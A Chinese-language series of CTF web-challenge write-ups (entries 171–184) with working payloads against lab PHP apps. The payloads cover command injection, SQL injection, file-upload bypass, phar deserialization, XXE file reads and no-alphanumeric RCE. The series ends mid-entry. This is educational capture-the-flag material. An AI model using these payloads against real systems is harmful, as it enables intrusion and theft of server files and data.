171.[SWPUCTF 2023 秋季新生赛]RCE-PLUS 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );highlight_file (__FILE__ );function strCheck ($cmd ) { if (!preg_match ("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i" , $cmd )){ return ($cmd ); } else { die ("i hate this" ); } } $cmd =$_GET ['cmd' ];strCheck ($cmd );shell_exec ($cmd );?>
把flag写入到文件
?cmd=cat /f*>1.txt
再访问1.txt就可以了
172.[NUSTCTF 2022 新生赛]ezProtocol 最终请求包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 POST / HTTP/1.1 Host: node5.anna.nssctf.cn:28409 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: dinner=big meal X-Forwarded-For: 127.0.0.1 Referer: http://localhost/ Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 324 username=admin&p1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&p2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
1 2 3 4 5 6 1.POST 2.username参数 3.referer 4.xff 5.md5强碰撞 6.cookie
173.[SCTF 2021]loginme 新头,本地访问使用X-Real-IP
传age={{.Password}}
174.[UUCTF 2022 新生赛]ezsql –+注释都不行,又有个新的注释– -,总觉得太抽象了 常学常新,也是因为自己没有做过总结
payload还要逆序
password传参
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 payload1: - --)(esabatad,1 tceles noinu )'1 #UUCTF #查表时发现ro会置空,双写绕过 payload2: - --'FTCUU'=amehcs_elbat erehw selbat.amehcs_noitamrofni moorrf )eman_elbat(tacnoc_puoorrg,1 tceles noinu )'1 #flag,users payload3: - --'galf'=eman_elbat erehw snmuloc.amehcs_noitamrofni moorrf )eman_nmuloc(tacnoc_puoorrg,1 tceles noinu )'1 #UUCTF payload4: - --galf.FTCUU moorrf )FTCUU(tacnoc_puoorrg,1 tceles noinu )'1
175.[NSSCTF 2nd]php签到 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php function waf ($filename ) { $black_list = array ("ph" , "htaccess" , "ini" ); $ext = pathinfo ($filename , PATHINFO_EXTENSION); foreach ($black_list as $value ) { if (stristr ($ext , $value )){ return false ; } } return true ; } if (isset ($_FILES ['file' ])){ $filename = urldecode ($_FILES ['file' ]['name' ]); $content = file_get_contents ($_FILES ['file' ]['tmp_name' ]); if (waf ($filename )){ file_put_contents ($filename , $content ); } else { echo "Please re-upload" ; } } else { highlight_file (__FILE__ ); }
构造个文件上传表单,传文件名的时候用的是1.php/.
把/
进行url编码绕过waf,然后访问1.php就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > POST数据包POC</title > </head > <body > <form action ="http://node5.anna.nssctf.cn:28194/" method ="post" enctype ="multipart/form-data" > <label for ="file" > 文件名:</label > <input type ="file" name ="file" id ="file" > <br > <input type ="submit" name ="submit" value ="提交" > </form > </body > </html >
176.[NCTF 2018]小绿草之最强大脑 F12有提示,扫目录源码泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php if (isset ($_SESSION ['ans' ]) && isset ($_POST ['ans' ])){ if (($_SESSION ['ans' ])+intval ($_POST ['input' ])!=$_POST ['ans' ]){ session_destroy (); echo ' <script language="javascript"> alert("怎么没算对呢?"); window.history.back(-1); </script>' ; } else { if (intval (time ())-$_SESSION ['time' ]<1 ){ session_destroy (); echo ' <script language="javascript"> alert("你手速太快啦,服务器承受不住!!!"); window.history.back(-1); </script> ' ; } if (intval (time ())-$_SESSION ['time' ]>2 ){ session_destroy (); echo ' <script language="javascript"> alert("你算的太慢了少年!"); window.history.back(-1); </script> ' ; } echo ' <script language="javascript"> alert("tql,算对了!!"); </script> ' ; $_SESSION ['count' ]++; } } ?>
利用intval()
的特性,对超过21位数的操作结果会根据操作系统不同而产生不同的结果,32位系统:2147483647 64位系统:9223372036854775807
由于post后的响应体位置变动,上一个自己写的连续计算的傻瓜脚本是根据位置来提取参数的,所以会用不了,修改调试了很久,还是得掌握写正则来提取数据
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requestsimport timeimport rer = requests.session() url = "http://node4.anna.nssctf.cn:28181/index.php/login" inp = '9999999999999999999999' res = r.get(url) while ('nctf' not in res.text): np = re.compile (r'<div style="display:inline;">(.*?)</div>' ) num = np.findall(res.text) exp='' for i in num: if i == '=' : break exp += i exp+= '+' +'9223372036854775807' print (exp) ans = eval (exp) print (ans) data={'input' :inp, 'ans' :ans} time.sleep(1 ) res=r.post(url,data=data) print (res.text)
177.[TQLCTF 2022]simple_bypass 注册个账号登陆,点到好康的,在加载图片的时候抓包,能够抓到访问图片的请求,修改文件名为index.php能获取到源码
payload:/get_pic.php?image=index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php error_reporting (0 );if (isset ($_POST ['user' ]) && isset ($_POST ['pass' ])){ $hash_user = md5 ($_POST ['user' ]); $hash_pass = 'zsf' .md5 ($_POST ['pass' ]); if (isset ($_POST ['punctuation' ])){ if (strlen ($_POST ['user' ]) > 6 ){ echo ("<script>alert('Username is too long!');</script>" ); } elseif (strlen ($_POST ['website' ]) > 25 ){ echo ("<script>alert('Website is too long!');</script>" ); } elseif (strlen ($_POST ['punctuation' ]) > 1000 ){ echo ("<script>alert('Punctuation is too long!');</script>" ); } else { if (preg_match ('/[^\w\/\(\)\*<>]/' , $_POST ['user' ]) === 0 ){ if (preg_match ('/[^\w\/\*:\.\;\(\)\n<>]/' , $_POST ['website' ]) === 0 ){ $_POST ['punctuation' ] = preg_replace ("/[a-z,A-Z,0-9>\?]/" ,"" ,$_POST ['punctuation' ]); $template = file_get_contents ('./template.html' ); $content = str_replace ("__USER__" , $_POST ['user' ], $template ); $content = str_replace ("__PASS__" , $hash_pass , $content ); $content = str_replace ("__WEBSITE__" , $_POST ['website' ], $content ); $content = str_replace ("__PUNC__" , $_POST ['punctuation' ], $content ); file_put_contents ('sandbox/' .$hash_user .'.php' , $content ); echo ("<script>alert('Successed!');</script>" ); } else { echo ("<script>alert('Invalid chars in website!');</script>" ); } } else { echo ("<script>alert('Invalid chars in username!');</script>" ); } } } else { setcookie ("user" , $_POST ['user' ], time ()+3600 ); setcookie ("pass" , $hash_pass , time ()+3600 ); Header ("Location:sandbox/$hash_user .php" ); } } ?>
没什么有用的,试试读取登陆后的sandbox+sessid.php,去除没用的js
1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting (0 ); $user = ((string )2 ); $pass = ((string )zsfc81e728d9d4c2f636f067f89cc14862c); if (isset ($_COOKIE ['user' ]) && isset ($_COOKIE ['pass' ]) && $_COOKIE ['user' ] === $user && $_COOKIE ['pass' ] === $pass ){ echo ($_COOKIE ['user' ]); } else { die ("<script>alert('Permission denied!');</script>" ); } ?>
以及get_pic.php
1 2 3 4 5 <?php error_reporting (0 );$image = (string )$_GET ['image' ];echo '<div class="img"> <img src="data:image/png;base64,' . base64_encode (file_get_contents ($image )) . '" /> </div>' ;?>
可以任意读,但是不知道flag叫什么在哪里
在template.html中的php代码有些许不一样
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php error_reporting (0 );$user = ((string )__USER__);$pass = ((string )__PASS__);if (isset ($_COOKIE ['user' ]) && isset ($_COOKIE ['pass' ]) && $_COOKIE ['user' ] === $user && $_COOKIE ['pass' ] === $pass ){ echo ($_COOKIE ['user' ]); } else {die ("<script>alert('Permission denied!');</script>" );} ... <a href="#" class ="powered_by ">__PUNC__ </a > <ul id ="deskIcon ">
这里可以发现一些字段是__xxxx__
来表示的,回到最开始的index.php中,可以发现开头有些waf还有一些回显的机制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 if (isset ($_POST ['punctuation' ])){ if (strlen ($_POST ['user' ]) > 6 ){ echo ("<script>alert('Username is too long!');</script>" ); } elseif (strlen ($_POST ['website' ]) > 25 ){ echo ("<script>alert('Website is too long!');</script>" ); } elseif (strlen ($_POST ['punctuation' ]) > 1000 ){ echo ("<script>alert('Punctuation is too long!');</script>" ); } else { if (preg_match ('/[^\w\/\(\)\*<>]/' , $_POST ['user' ]) === 0 ){ if (preg_match ('/[^\w\/\*:\.\;\(\)\n<>]/' , $_POST ['website' ]) === 0 ){ $_POST ['punctuation' ] = preg_replace ("/[a-z,A-Z,0-9>\?]/" ,"" ,$_POST ['punctuation' ]); $template = file_get_contents ('./template.html' ); $content = str_replace ("__USER__" , $_POST ['user' ], $template ); $content = str_replace ("__PASS__" , $hash_pass , $content ); $content = str_replace ("__WEBSITE__" , $_POST ['website' ], $content ); $content = str_replace ("__PUNC__" , $_POST ['punctuation' ], $content );
user长度不超过6,[^\w\/\(\)\*<>]
禁止了空格、取反、左右括号、斜杠、星号、左右尖括号;website的长度不超过6,[^\w\/\*:\.\;\(\)\n<>]
限制了空格、取反、左右括号、斜杠、星号、左右尖括号、换行、冒号、点、分号。字符限制蛮严格的,但是punctuation禁止数字字字母以及>?
,只能利用index.php下的<?php
来执行,可以考虑无数字字母rce了。生成一个payload
1 $_ ='($((%-' ^'[][\@@' ;$__ ='#:%(' ^'|}`|' ;$___ =$$__ ;echo $___ ;$_ ($___ ['_' ]);
通过控制用户名为多行注释,在punc处闭合,从而利用最开头的<?php
1 2 3 4 5 6 7 8 username: p/* passwd: 任意 website: 任意 Punctuation: */); PAYLOAD /*
178.[October 2019]Twice SQL Injection 在用户名中存在sql注入,注册完成后登陆即可看到回显,是为二次注入
1 2 3 4 5 6 7 8 9 10 payload1: username:1' union select database()# #ctftraining payload2: username:1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'# #flag,id,title,content,time,id,username,password,info payload3: username:1' union select group_concat(flag) from ctftraining.flag#
179.[广东强网杯 2021 团队组]love_Pokemon 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php error_reporting (0 );highlight_file (__FILE__ );$dir = 'sandbox/' . md5 ($_SERVER ['REMOTE_ADDR' ]) . '/' ;if (!file_exists ($dir )){ mkdir ($dir ); } function DefenderBonus ($Pokemon ) { if (preg_match ("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i" ,$Pokemon )){ die ('catch broken Pokemon! mew-_-two' ); } else { return $Pokemon ; } } function ghostpokemon ($Pokemon ) { if (is_array ($Pokemon )){ foreach ($Pokemon as $key => $pks ) { $Pokemon [$key ] = DefenderBonus ($pks ); } } else { $Pokemon = DefenderBonus ($Pokemon ); } } switch ($_POST ['myfavorite' ] ?? "" ){ case 'picacu!' : echo md5 ('picacu!' ).md5 ($_SERVER ['REMOTE_ADDR' ]); break ; case 'bulbasaur!' : echo md5 ('miaowa!' ).md5 ($_SERVER ['REMOTE_ADDR' ]); $level = $_POST ["levelup" ] ?? "" ; if ((!preg_match ('/lv100/i' ,$level )) && (preg_match ('/lv100/i' ,escapeshellarg ($level )))){ echo file_get_contents ('./hint.php' ); } break ; case 'squirtle' : echo md5 ('jienijieni!' ).md5 ($_SERVER ['REMOTE_ADDR' ]); break ; case 'mewtwo' : $dream = $_POST ["dream" ] ?? "" ; if (strlen ($dream )>=20 ){ die ("So Big Pokenmon!" ); } ghostpokemon ($dream ); echo shell_exec ($dream ); } ?>
escapeshellarg()
的作用是把字符串转码为在shell命令里使用的参数,它的特性是在处理超过ascii范围的字符会直接过滤,用一些不可见字符来绕过就行,如%81
接着绕过非常严格的waf,用的是od命令,会将读取到的文件内容以八进制形式输出。flag无法使用*?通配符,用的是[]通配符,waf有a和l,[B-Z]就能匹配到B-Z之间任意一个字母我们要的是L,[@-Z]就能匹配到@-Z之间任意一个字母,我们要的是A,空格可以用%20(space)或者%09(tab)来绕过,od命令存在-c参数以ascii形式输出
payload:myfavorite=mewtwo&dream=od%09/F[B-Z][@-Z]G%09-c
1 0000000 N S S C T F { 3 4 7 8 a 4 e 3 - 0000020 6 0 6 2 - 4 8 b 9 - 9 3 c 5 - 0 0000040 7 3 a b 8 e 0 a d 3 9 } \n 0000055
去掉中间的20和40那串就可以了
180.[CISCN 2019华北Day1]Web1 随便注册登陆,随便传个文件,下载抓包可以任意读
读取/var/www/html/index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); } ?> <!DOCTYPE html> <html> <meta charset="utf-8" > <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" > <title>网盘管理</title> <head> <link href="static/css/bootstrap.min.css" rel="stylesheet" > <link href="static/css/panel.css" rel="stylesheet" > <script src="static/js/jquery.min.js" ></script> <script src="static/js/bootstrap.bundle.min.js" ></script> <script src="static/js/toast.js" ></script> <script src="static/js/panel.js" ></script> </head> <body> <nav aria-label="breadcrumb" > <ol class ="breadcrumb "> <li class ="breadcrumb -item active ">管理面板</li > <li class ="breadcrumb -item active "><label for ="fileInput " class ="fileLabel ">上传文件</label ></li > <li class ="active ml -auto "><a href ="#">你好 <?php echo $_SESSION ['username ']?></a ></li > </ol > </nav > <input type ="file " id ="fileInput " class ="hidden "> <div class ="top " id ="toast -container "></div > <?php include "class .php ";$a = new FileList ($_SESSION ['sandbox ']); $a ->Name (); $a ->Size (); ?>
看到class.php,九成九就是个反序列化题了,来读取看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 <?php error_reporting (0 );$dbaddr = "127.0.0.1" ;$dbuser = "root" ;$dbpass = "root" ;$dbname = "dropbox" ;$db = new mysqli ($dbaddr , $dbuser , $dbpass , $dbname );class User { public $db ; public function __construct ( ) { global $db ; $this ->db = $db ; } public function user_exist ($username ) { $stmt = $this ->db->prepare ("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;" ); $stmt ->bind_param ("s" , $username ); $stmt ->execute (); $stmt ->store_result (); $count = $stmt ->num_rows; if ($count === 0 ) { return false ; } return true ; } public function add_user ($username , $password ) { if ($this ->user_exist ($username )) { return false ; } $password = sha1 ($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare ("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);" ); $stmt ->bind_param ("ss" , $username , $password ); $stmt ->execute (); return true ; } public function verify_user ($username , $password ) { if (!$this ->user_exist ($username )) { return false ; } $password = sha1 ($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare ("SELECT `password` FROM `users` WHERE `username` = ?;" ); $stmt ->bind_param ("s" , $username ); $stmt ->execute (); $stmt ->bind_result ($expect ); $stmt ->fetch (); if (isset ($expect ) && $expect === $password ) { return true ; } return false ; } public function __destruct ( ) { $this ->db->close (); } } class FileList { private $files ; private $results ; private $funcs ; public function __construct ($path ) { $this ->files = array (); $this ->results = array (); $this ->funcs = array (); $filenames = scandir ($path ); $key = array_search ("." , $filenames ); unset ($filenames [$key ]); $key = array_search (".." , $filenames ); unset ($filenames [$key ]); foreach ($filenames as $filename ) { $file = new File (); $file ->open ($path . $filename ); array_push ($this ->files, $file ); $this ->results[$file ->name ()] = array (); } } public function __call ($func , $args ) { array_push ($this ->funcs, $func ); foreach ($this ->files as $file ) { $this ->results[$file ->name ()][$func ] = $file ->$func (); } } public function __destruct ( ) { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">' ; $table .= '<thead><tr>' ; foreach ($this ->funcs as $func ) { $table .= '<th scope="col" class="text-center">' . htmlentities ($func ) . '</th>' ; } $table .= '<th scope="col" class="text-center">Opt</th>' ; $table .= '</thead><tbody>' ; foreach ($this ->results as $filename => $result ) { $table .= '<tr>' ; foreach ($result as $func => $value ) { $table .= '<td class="text-center">' . htmlentities ($value ) . '</td>' ; } $table .= '<td class="text-center" filename="' . htmlentities ($filename ) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>' ; $table .= '</tr>' ; } echo $table ; } } class File { public $filename ; public function open ($filename ) { $this ->filename = $filename ; if (file_exists ($filename ) && !is_dir ($filename )) { return true ; } else { return false ; } } public function name ( ) { return basename ($this ->filename); } public function size ( ) { $size = filesize ($this ->filename); $units = array (' B' , ' KB' , ' MB' , ' GB' , ' TB' ); for ($i = 0 ; $size >= 1024 && $i < 4 ; $i ++) $size /= 1024 ; return round ($size , 2 ).$units [$i ]; } public function detele ( ) { unlink ($this ->filename); } public function close ( ) { return file_get_contents ($this ->filename); } } ?>
phar反序列化,首先会获取sandbox下的所有文件名,然后访问对应文件的名字和size,调用这两个方法,链子最终应该是close()
进行文件内容的读取,而调用close()
的地方只有一个,那就是User的__destruct()
方法,控制db为file对象即可,但是好像没什么用,并不知道flag文件名叫什么,还是要进行系统函数的执行才可以,可以看下另一条链子,实例化完了FileList
对象会访问Name
和Size
方法,这两个方法并不存在于FileList
,而在File
里面,所以会触发__call()
,而__call()
会调用file内的func
,并将结果存入$results
:
1 $this ->results[$file ->name ()][$func ] = $file ->$func ();
链子分析到这里,感觉还是不太明朗,读取download.php看下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); } if (!isset ($_POST ['filename' ])) { die (); } include "class.php" ;ini_set ("open_basedir" , getcwd () . ":/etc:/tmp" );chdir ($_SESSION ['sandbox' ]);$file = new File ();$filename = (string ) $_POST ['filename' ];if (strlen ($filename ) < 40 && $file ->open ($filename ) && stristr ($filename , "flag" ) === false ) { Header ("Content-type: application/octet-stream" ); Header ("Content-Disposition: attachment; filename=" . basename ($filename )); echo $file ->close (); } else { echo "File not exist" ; } ?>
通过这个我们就能知道,存在一个waf,无法直接读取flag,所以我们最终要利用的还是file_get_contents()
,那也就是要触发close()
,那么就是点击下载按钮,但是其实存在open_basedir
这个点:
open_basedir 将php所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()等系统函数打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开
如果设置为
ini_set(“open_basedir”,/var)
那么就是限制前缀,可以使用任意后缀 :/var1 /var/www /varsda/…/
如果是
ini_set(“open_basedir”,/var/)
那么就是限制了目录,只能使用此目录的文件: /var/www/
那么download.php是没法利用的,来看看delete.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); } if (!isset ($_POST ['filename' ])) { die (); } include "class.php" ;chdir ($_SESSION ['sandbox' ]);$file = new File ();$filename = (string ) $_POST ['filename' ];if (strlen ($filename ) < 40 && $file ->open ($filename )) { $file ->detele (); Header ("Content-type: application/json" ); $response = array ("success" => true , "error" => "" ); echo json_encode ($response ); } else { Header ("Content-type: application/json" ); $response = array ("success" => false , "error" => "File not exist" ); echo json_encode ($response ); } ?>
它include是在chdir之前的,所以能够触发我们的链子,这样一看,其实就很简单了
1 User()->db->FileList()->file->__call()->File()->filename="flag.txt"
这里的flag.txt是猜测,只能这样解释了,主要集中注意到反序列化上吧,还是那句话,构造函数__construct()
是我们可以控制重写的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 <?php class User { public $db ; public function __construct ( ) { global $db ; $this ->db = $db ; } public function user_exist ($username ) { $stmt = $this ->db->prepare ("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;" ); $stmt ->bind_param ("s" , $username ); $stmt ->execute (); $stmt ->store_result (); $count = $stmt ->num_rows; if ($count === 0 ) { return false ; } return true ; } public function add_user ($username , $password ) { if ($this ->user_exist ($username )) { return false ; } $password = sha1 ($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare ("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);" ); $stmt ->bind_param ("ss" , $username , $password ); $stmt ->execute (); return true ; } public function verify_user ($username , $password ) { if (!$this ->user_exist ($username )) { return false ; } $password = sha1 ($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare ("SELECT `password` FROM `users` WHERE `username` = ?;" ); $stmt ->bind_param ("s" , $username ); $stmt ->execute (); $stmt ->bind_result ($expect ); $stmt ->fetch (); if (isset ($expect ) && $expect === $password ) { return true ; } return false ; } public function __destruct ( ) { $this ->db->close (); } } class FileList { private $files ; private $results ; private $funcs ; public function __construct ( ) { $this ->files = array (); $a = new File ('/flag.txt' ); array_push ($this ->files,$a ); } public function __call ($func , $args ) { array_push ($this ->funcs, $func ); foreach ($this ->files as $file ) { $this ->results[$file ->name ()][$func ] = $file ->$func (); } } public function __destruct ( ) { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">' ; $table .= '<thead><tr>' ; foreach ($this ->funcs as $func ) { $table .= '<th scope="col" class="text-center">' . htmlentities ($func ) . '</th>' ; } $table .= '<th scope="col" class="text-center">Opt</th>' ; $table .= '</thead><tbody>' ; foreach ($this ->results as $filename => $result ) { $table .= '<tr>' ; foreach ($result as $func => $value ) { $table .= '<td class="text-center">' . htmlentities ($value ) . '</td>' ; } $table .= '<td class="text-center" filename="' . htmlentities ($filename ) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>' ; $table .= '</tr>' ; } echo $table ; } } class File { public $filename ; public function __construct ($filename ) { $this ->filename=$filename ; } public function open ($filename ) { $this ->filename = $filename ; if (file_exists ($filename ) && !is_dir ($filename )) { return true ; } else { return false ; } } public function name ( ) { return basename ($this ->filename); } public function size ( ) { $size = filesize ($this ->filename); $units = array (' B' , ' KB' , ' MB' , ' GB' , ' TB' ); for ($i = 0 ; $size >= 1024 && $i < 4 ; $i ++) $size /= 1024 ; return round ($size , 2 ).$units [$i ]; } public function detele ( ) { unlink ($this ->filename); } public function close ( ) { return file_get_contents ($this ->filename); } } $a = new User ();$a ->db = new FileList ();$phar = new Phar ('exp.phar' );$phar ->startBuffering ();$phar ->setStub ('<?php __HALT_COMPILER();?>' );$phar ->setMetadata ($a );$phar ->addFromString ('1.txt' ,'1' );$phar ->stopBuffering ();
把exp.phar传上去,改下content-type为图片类型的,然后点删除,抓包用phar://访问文件名就可以getflag了
181.[SWPUCTF 2023 秋季新生赛]Pingpingping 1 2 3 4 5 6 7 8 9 10 <?php highlight_file (__FILE__ );error_reporting (0 );$_ping = $_GET ['Ping_ip.exe' ];if (isset ($_ping )){ system ("ping -c 3 " .$_ping ); }else { $data = base64_encode (file_get_contents ("error.png" )); echo "<img src='data:image/png;base64,$data '/>" ; }
下划线无法解释,要用[来代替,在php中,变量名只有数字字母下划线,从get/post传入的,如果含有空格、+、[则会被转化为_
,如果传入[,被转化为_
后就不会被替换掉
payload:?Ping[ip.exe;cat /flag
182.[CSAWQual 2019]Unagi 查看user.php,用户信息存在4个字段:name、email、group、intro;upload.php中可以上传xml文件,样例格式如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <users > <user > <username > alice</username > <password > passwd1</password > <name > Alice</name > <email > alice@fakesite.com</email > <group > CSAW2019</group > </user > <user > <username > bob</username > <password > passwd2</password > <name > Bob</name > <email > bob@fakesite.com</email > <group > CSAW2019</group > </user > </users >
少了intro字段,那么考虑在intro里回显,插入xxe的poc
1 2 3 4 5 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE a[ <!ENTITY file SYSTEM "file:///flag" > ]> <intro > &file; </intro >
完整文件如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE a[ <!ENTITY file SYSTEM "file:///flag" > ]> <users > <user > <username > alice</username > <password > passwd1</password > <name > Alice</name > <email > alice@fakesite.com</email > <group > CSAW2019</group > </user > <user > <username > bob</username > <password > passwd2</password > <name > Bob</name > <email > bob@fakesite.com</email > <group > CSAW2019</group > <intro > &file; </intro > </user > </users >
上传发现被waf,使用UTF16编码
1 iconv -f UTF-8 -t UTF16BE xxe.xml>xxe2.xml
上传后getflag
183.[HNCTF 2022 Week1]Challenge__rce F12发现要传hint参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting (0 );if (isset ($_GET ['hint' ])) { highlight_file (__FILE__ ); } if (isset ($_POST ['rce' ])) { $rce = $_POST ['rce' ]; if (strlen ($rce ) <= 120 ) { if (is_string ($rce )) { if (!preg_match ("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/" , $rce )) { eval ($rce ); } else { echo ("Are you hack me?" ); } } else { echo "I want string!" ; } } else { echo "too long!" ; } }
禁了大量特殊符号。无字母数字rce的异或与取反都被ban了,可以写一个根据waf的正则输出合法字符的脚本
1 2 3 4 5 6 7 8 9 10 <?php $pass ='' ;for ($i =32 ;$i <127 ;$i ++){ if (!preg_match ("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/" , chr ($i ))) { $pass = $pass .chr ($i ); } } echo "当前能过waf的字符:" .$pass ."\n" ;
那么利用这些字符来进行rce,是自增型rce,但是限制了长度,所以要进行一些简化,来了解一下自增的过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $_ =[].'_' ; $__ =$_ [1 ];$_ =$_ [0 ];$_ ++;$_ ++;$_0 =$_ ;$_ ++;$_ ++;$_ ++;$_ ++;$_ =$_0 .++$_ .$__ ;$_ ='_' .$_ (71 ).$_ (69 ).$_ (84 );echo $_ ;
payload:
1 2 //整理成一行并且在浏览器中传参的形式: $_=[]._;$__=$_[1];$_=$_[0];$_++;$_0=++$_;$_++;$_++;$_++;$_++;$_=$_0.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
对所有特殊字符进行url编码,得到
1 $_%3d[]._%3b$__%3d$_[1]%3b$_%3d$_[0]%3b$_%2b%2b%3b$_0%3d%2b%2b$_%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%3d$_0.%2b%2b$_.$__%3b$_%3d_.$_(71).$_(69).$_(84)%3b$$_[1]($$_[2])%3b
然后再传get参数1、2即可
184.[SWPU 2018]SimplePHP 在查看文件处是file.php?file=
,etc/passwd没读到,试下var/www/html/index.php
1 2 3 4 <?php header ("content-type:text/html;charset=utf-8" ); include 'base.php' ;?>
file.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php header ("content-type:text/html;charset=utf-8" ); include 'function.php' ; include 'class.php' ; ini_set ('open_basedir' ,'/var/www/html/' ); $file = $_GET ["file" ] ? $_GET ['file' ] : "" ; if (empty ($file )) { echo "<h2>There is no file to show!<h2/>" ; } $show = new Show (); if (file_exists ($file )) { $show ->source = $file ; $show ->_show (); } else if (!empty ($file )){ die ('file doesn\'t exists.' ); } ?>
open_basedir
解释了为什么读不到etc/passwd,来读读upload_file.php
